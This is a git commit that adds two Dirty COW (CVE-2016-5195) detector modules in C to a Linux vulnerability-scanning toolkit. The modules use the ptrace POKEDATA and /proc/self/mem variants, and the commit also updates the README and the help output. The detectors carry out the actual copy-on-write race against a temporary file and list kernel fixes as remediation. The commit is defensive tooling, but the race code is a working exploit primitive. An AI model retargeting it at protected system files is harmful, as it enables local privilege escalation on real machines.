commit 4bf0dfe2b7cae70c9a9eea0f948b70c57e9b74ee
parent dd2cf6cd26b843f6b6f4210c6623df5723d6f593
Author: finwo <finwo@pm.me>
Date: Tue, 19 May 2026 15:40:05 +0200
Add cve-2016-5195 detector
Diffstat:
4 files changed, 397 insertions(+), 5 deletions(-)
diff --git a/README.md b/README.md
@@ -4,11 +4,12 @@ A lightweight CVE detection toolkit for Linux systems.
## Detected Vulnerabilities
-| CVE | Alias | Details |
-| ----------------------------------------------------------------- | --------------- | ---------------------------------------------------- |
-| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` |
-| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE |
-| [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass |
+| CVE | Alias | Details |
+| ------------------------------------------------------------------ | --------------- | -------------------------------------------------------------------------- |
+| [CVE-2016-5195](https://nvd.nist.gov/vuln/detail/CVE-2016-5195) | dirtycow | Privileged page-cache write via COW race (`pokedata` + `procmem` variants) |
+| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` |
+| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE |
+| [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass |
## Build
diff --git a/src/detector/cve-2016-5195-pokedata.c b/src/detector/cve-2016-5195-pokedata.c
@@ -0,0 +1,208 @@
+/*
+ * CVE-2016-5195 — Dirty COW (PTRACE_POKEDATA variant)
+ *
+ * The kernel's get_user_pages() in a copy-on-write race allows an
+ * unprivileged user to write to read-only memory mappings that are backed
+ * by a file. This detector uses the PTRACE_POKEDATA variant.
+ *
+ * Architecture (follows upstream pokemon.c):
+ * - Parent creates a temp file (100 bytes of known data) and a pipe.
+ * - Child maps the file MAP_PRIVATE|PROT_READ, starts a madvise-thrasher
+ * thread, then ptrace-traces-me and SIGSTOPs itself.
+ * - Parent reads the child's mmap address from the pipe, waits for the
+ * child to stop, then writes into the child's COW page via
+ * PTRACE_POKEDATA in a tight loop (matching upstream's 10K*10K retries).
+ * - Child checks whether the FILE'S page cache was corrupted by reading
+ * via pread (bypasses the COW mapping).
+ *
+ * Safe testing: creates a temporary file, attempts the COW page-cache
+ * corruption, verifies the byte was overwritten in the cache, then
+ * removes the temp file — leaving no system state modified.
+ *
+ * References:
+ * https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
+ * https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "setup.h"
+
+/* Region size matching upstream's madvise(map, 100, ...) */
+#define MAP_SIZE 100
+#define MAGIC_ORIG 'X'
+#define MAGIC_COW 'Y'
+#define MAX_POKES 10000
+
+static volatile int g_thr_running = 1;
+
+static void *madvise_thread(void *arg) {
+ char *map = (char *)arg;
+ while (g_thr_running) {
+ madvise(map, MAP_SIZE, MADV_DONTNEED);
+ __asm__ volatile("" ::: "memory");
+ (void)*map; /* force page fault */
+ }
+ return NULL;
+}
+
+int detector_cve_2016_5195_pokedata(struct cve_context *ctx) {
+ int fd = -1;
+ int result = 0;
+ int pipefd[2];
+
+ /* 1. Create temp file with known bytes */
+ char path[] = "/tmp/.cve_2016_5195_pd_XXXXXX";
+ fd = mkstemp(path);
+ if (fd < 0) {
+ if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-pokedata] mkstemp: %s\n", strerror(errno));
+ return 0;
+ }
+ unlink(path); /* fd keeps it alive */
+
+ char buf[MAP_SIZE];
+ memset(buf, MAGIC_ORIG, sizeof(buf));
+ if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
+ close(fd);
+ return 0;
+ }
+ fsync(fd);
+
+ /* 2. Pipe for child→parent address communication */
+ if (pipe(pipefd) < 0) {
+ close(fd);
+ return 0;
+ }
+
+ /* 3. Fork */
+ pid_t child = fork();
+ if (child < 0) {
+ close(fd);
+ close(pipefd[0]);
+ close(pipefd[1]);
+ return 0;
+ }
+
+ if (child == 0) {
+ /* ---- CHILD ---- */
+ close(pipefd[0]);
+
+ char *map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
+ if (map == MAP_FAILED) _exit(5);
+
+ /* Verify original content */
+ for (int i = 0; i < MAP_SIZE; i++)
+ if (map[i] != MAGIC_ORIG) {
+ munmap(map, MAP_SIZE);
+ _exit(6);
+ }
+
+ /* Report mapping address to parent */
+ uintptr_t addr = (uintptr_t)map;
+ if (write(pipefd[1], &addr, sizeof(addr)) != (ssize_t)sizeof(addr)) _exit(7);
+ close(pipefd[1]);
+
+ /* Start madvise thrasher (runs until parent finishes poking) */
+ pthread_t thr;
+ g_thr_running = 1;
+ if (pthread_create(&thr, NULL, madvise_thread, map) != 0) _exit(8);
+
+ /*
+ * Request tracing + SIGSTOP so parent can attach and write.
+ * Matches upstream pokemon.c: PTRACE_TRACEME + SIGSTOP.
+ */
+ ptrace(PTRACE_TRACEME);
+ kill(getpid(), SIGSTOP);
+
+ /* After parent detaches, poll page cache via pread */
+ int hit = 0;
+ for (int i = 0; i < MAX_POKES && !hit; i++) {
+ char c;
+ if (pread(fd, &c, 1, 0) == 1 && c == MAGIC_COW)
+ hit = 1;
+ else
+ usleep(1000);
+ }
+
+ g_thr_running = 0;
+ pthread_join(thr, NULL);
+ munmap(map, MAP_SIZE);
+ close(fd);
+ _exit(hit ? 0 : 3);
+ }
+
+ /* ---- PARENT ---- */
+ close(pipefd[1]);
+ close(fd); /* child has its own copy */
+
+ /* Read child's mmap address */
+ uintptr_t child_addr = 0;
+ ssize_t n = read(pipefd[0], &child_addr, sizeof(child_addr));
+ close(pipefd[0]);
+ if (n != (ssize_t)sizeof(child_addr)) {
+ kill(child, SIGKILL);
+ waitpid(child, NULL, 0);
+ return 0;
+ }
+
+ /* Wait for child's SIGSTOP (from PTRACE_TRACEME path) */
+ int status;
+ waitpid(child, &status, 0);
+ if (!WIFSTOPPED(status)) {
+ kill(child, SIGKILL);
+ waitpid(child, NULL, 0);
+ return 0;
+ }
+
+ /*
+ * Poke the child's COW mapping in a tight loop.
+ * Upstream pokemon.c does 10K * 10K = 100M iterations;
+ * we use 10K which is enough to win the race on a
+ * vulnerable kernel while keeping the detector fast.
+ */
+ for (int i = 0; i < MAX_POKES; i++) {
+ long val = ptrace(PTRACE_PEEKDATA, child, (void *)child_addr, NULL);
+ long newval = (val & ~0xFFUL) | (unsigned char)MAGIC_COW;
+ ptrace(PTRACE_POKEDATA, child, (void *)child_addr, (void *)newval);
+ }
+
+ /* Detach so child resumes */
+ ptrace(PTRACE_DETACH, child, NULL, NULL);
+
+ /* Wait for child to finish its pread poll */
+ int cstatus;
+ waitpid(child, &cstatus, 0);
+
+ if (WIFEXITED(cstatus) && WEXITSTATUS(cstatus) == 0) {
+ if (ctx && ctx->verbose)
+ fprintf(stderr,
+ "[dirtycow-pokedata] VULNERABLE: page cache "
+ "corrupted via PTRACE_POKEDATA\n");
+ result = 1;
+ }
+
+ return result;
+}
+
+__attribute__((constructor)) void detector_cve_2016_5195_pokedata_setup(void) {
+ detector_queue_append("CVE-2016-5195/pokedata", "dirtycow",
+ "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n"
+ " The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n"
+ " As a temporary mitigation, ensure kernel.yama.ptrace_scope >= 1\n"
+ " (blocks unprivileged ptrace of unrelated processes), though this\n"
+ " does not fully mitigate all Dirty COW variants.",
+ detector_cve_2016_5195_pokedata);
+}
diff --git a/src/detector/cve-2016-5195-procmem.c b/src/detector/cve-2016-5195-procmem.c
@@ -0,0 +1,173 @@
+/*
+ * CVE-2016-5195 — Dirty COW (/proc/self/mem variant)
+ *
+ * The kernel's get_user_pages() in a copy-on-write race allows an
+ * unprivileged user to write to read-only memory mappings that are backed
+ * by a file. This detector uses the /proc/self/mem write variant.
+ *
+ * Architecture (follows upstream dirtyc0w.c):
+ * - A temp file is filled with known bytes.
+ * - It is mapped MAP_PRIVATE|PROT_READ.
+ * - Thread 1: continuously calls madvise(MADV_DONTNEED) on the mapping.
+ * - Thread 2 (main): repeatedly seeks /proc/self/mem to the mapping's
+ * address and writes the poison byte.
+ * - After both threads finish, the file is read via pread to check
+ * whether the page cache was corrupted.
+ *
+ * Safe testing: creates a temporary file, attempts the COW page-cache
+ * corruption, verifies the byte was overwritten in the cache, then
+ * removes the temp file — leaving no system state modified.
+ *
+ * References:
+ * https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
+ * https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "setup.h"
+
+/* Matches upstream: madvise(map, 100, MADV_DONTNEED) */
+#define MAP_SIZE 100
+#define MAGIC_ORIG 'X'
+#define MAGIC_COW 'Z'
+
+/* Number of lseek+write iterations per thread.
+ * Upstream dirtyc0w.c uses 100 000 000.
+ * We use a smaller count since we only need to detect — not fully
+ * exploit — and we poll the page cache between iterations. */
+#define MAX_ATTEMPTS 1000
+
+static char *g_map;
+static volatile int g_hit = 0;
+
+/*
+ * madvise thread — continuously discards the page so the next access
+ * triggers a page fault, which races against the /proc/self/mem write.
+ * Mirrors upstream dirtyc0w.c madviseThread().
+ */
+static void *madvise_thread(void *arg) {
+ (void)arg;
+ for (int i = 0; i < MAX_ATTEMPTS && !g_hit; i++) {
+ madvise(g_map, MAP_SIZE, MADV_DONTNEED);
+ /* force page fault */
+ __asm__ volatile("" ::: "memory");
+ (void)*g_map;
+ }
+ return NULL;
+}
+
+int detector_cve_2016_5195_procmem(struct cve_context *ctx) {
+ int fd = -1;
+ int mem_fd = -1;
+ int result = 0;
+
+ /* 1. Create temp file with known bytes */
+ char path[] = "/tmp/.cve_2016_5195_pm_XXXXXX";
+ fd = mkstemp(path);
+ if (fd < 0) {
+ if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] mkstemp: %s\n", strerror(errno));
+ return 0;
+ }
+ unlink(path); /* fd keeps it alive */
+
+ char buf[MAP_SIZE];
+ memset(buf, MAGIC_ORIG, sizeof(buf));
+ if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
+ close(fd);
+ return 0;
+ }
+ fsync(fd);
+
+ /* 2. Map read-only, private (COW) — same as upstream */
+ g_map = mmap(NULL, MAP_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
+ if (g_map == MAP_FAILED) {
+ close(fd);
+ return 0;
+ }
+
+ /* Sanity: verify original content */
+ for (int i = 0; i < MAP_SIZE; i++) {
+ if (g_map[i] != MAGIC_ORIG) {
+ munmap(g_map, MAP_SIZE);
+ close(fd);
+ return 0;
+ }
+ }
+
+ /* 3. Open /proc/self/mem for writing */
+ mem_fd = open("/proc/self/mem", O_RDWR);
+ if (mem_fd < 0) {
+ if (ctx && ctx->verbose) fprintf(stderr, "[dirtycow-procmem] open(/proc/self/mem): %s\n", strerror(errno));
+ munmap(g_map, MAP_SIZE);
+ close(fd);
+ return 0;
+ }
+
+ /*
+ * 4. Two-thread race — mirrors upstream dirtyc0w.c:
+ * Thread A (madviseThread): madvise + fault in a loop
+ * Thread B (main): lseek + write to /proc/self/mem
+ *
+ * We also poll the page cache (via pread) between write attempts
+ * so we can stop early if the race is won.
+ */
+ pthread_t thr;
+ if (pthread_create(&thr, NULL, madvise_thread, NULL) != 0) {
+ close(mem_fd);
+ munmap(g_map, MAP_SIZE);
+ close(fd);
+ return 0;
+ }
+
+ char cow_byte = MAGIC_COW;
+ for (int attempt = 0; attempt < MAX_ATTEMPTS && !g_hit; attempt++) {
+ /* Reset file pointer to the mapping's virtual address */
+ if (lseek(mem_fd, (off_t)(uintptr_t)g_map, SEEK_SET) < 0) continue;
+
+ if (write(mem_fd, &cow_byte, 1) == 1) {
+ /*
+ * Check page cache via pread — this bypasses the COW
+ * mapping and reads the actual cached page. If the race
+ * was won, the page cache will contain MAGIC_COW.
+ */
+ char cb;
+ if (pread(fd, &cb, 1, 0) == 1 && cb == MAGIC_COW) {
+ g_hit = 1;
+ result = 1;
+ if (ctx && ctx->verbose)
+ fprintf(stderr,
+ "[dirtycow-procmem] VULNERABLE: page cache "
+ "corrupted via /proc/self/mem (attempt %d)\n",
+ attempt + 1);
+ }
+ }
+ }
+
+ /* 5. Wait for madvise thread to finish and clean up */
+ pthread_join(thr, NULL);
+ close(mem_fd);
+ munmap(g_map, MAP_SIZE);
+ close(fd);
+
+ return result;
+}
+
+__attribute__((constructor)) void detector_cve_2016_5195_procmem_setup(void) {
+ detector_queue_append("CVE-2016-5195/procmem", "dirtycow",
+ "Update the Linux kernel to >= 4.8.3 / 4.7.9 / 4.4.26 or later.\n"
+ " The fix is commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619.\n"
+ " This variant does not require ptrace and works even when\n"
+ " kernel.yama.ptrace_scope >= 1.",
+ detector_cve_2016_5195_procmem);
+}
diff --git a/src/main.c b/src/main.c
@@ -4,6 +4,13 @@
#include "detector/setup.h"
#include "license_data.h"
+static void print_supported_cves(void) {
+ fprintf(stdout, "Supported CVEs:\n");
+ for (int i = 0; i < detector_queue_length; i++) {
+ fprintf(stdout, " %-30s %s\n", detector_queue[i]->name, detector_queue[i]->alias ? detector_queue[i]->alias : "");
+ }
+}
+
int main(int argc, char **argv) {
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
@@ -20,6 +27,9 @@ int main(int argc, char **argv) {
" -v, --verbose Run detection with verbose logging\n"
" -h, --help Show this help message\n"
" --license Print license and exit\n"
+ "\n");
+ print_supported_cves();
+ fprintf(stdout,
"\n"
"Copyright (c) 2026 finwo\n"
"https://git.finwo.net/app/cve-toolkit/file/README.md.html\n");